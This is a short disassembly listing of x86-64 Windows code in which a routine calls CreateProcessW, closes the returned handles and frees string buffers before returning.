mov rdi, rdx
rep stosq qword [rdi], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rdx
mov rdx, r12
mov dword [rsp + 0xb0], 0x68
mov rcx, r10
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x50]
mov rdi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rdi
mov rcx, qword [rsp + 0x58]
call rdi
mov rcx, qword [rsp + 0x70]
cmp rcx, rsi
je 0x14000621a
mov rax, qword [rsp + 0x80]
lea rdx, [rax + rax + 2]
call fcn.1400bf650
test bl, bl
je 0x140006245
mov rcx, qword [rsp + 0x90]
lea rax, [rsp + 0xa0]
cmp rcx, rax
je 0x140006245
mov rax, qword [rsp + 0xa0]
lea rdx, [rax + 1]
call fcn.1400bf650
nop
add rsp, 0x128
pop rbx
pop rsi
pop rdi
pop r12
ret
lea r12, [rsp + 0x90]
lea r8, [0x1400f10e0]
mov rcx, r12
lea rdx, [0x1400c4398]
call fcn.1400bd630
mov rcx, r12
call fcn.1400035f0
mov r12, rax
jmp 0x14000613e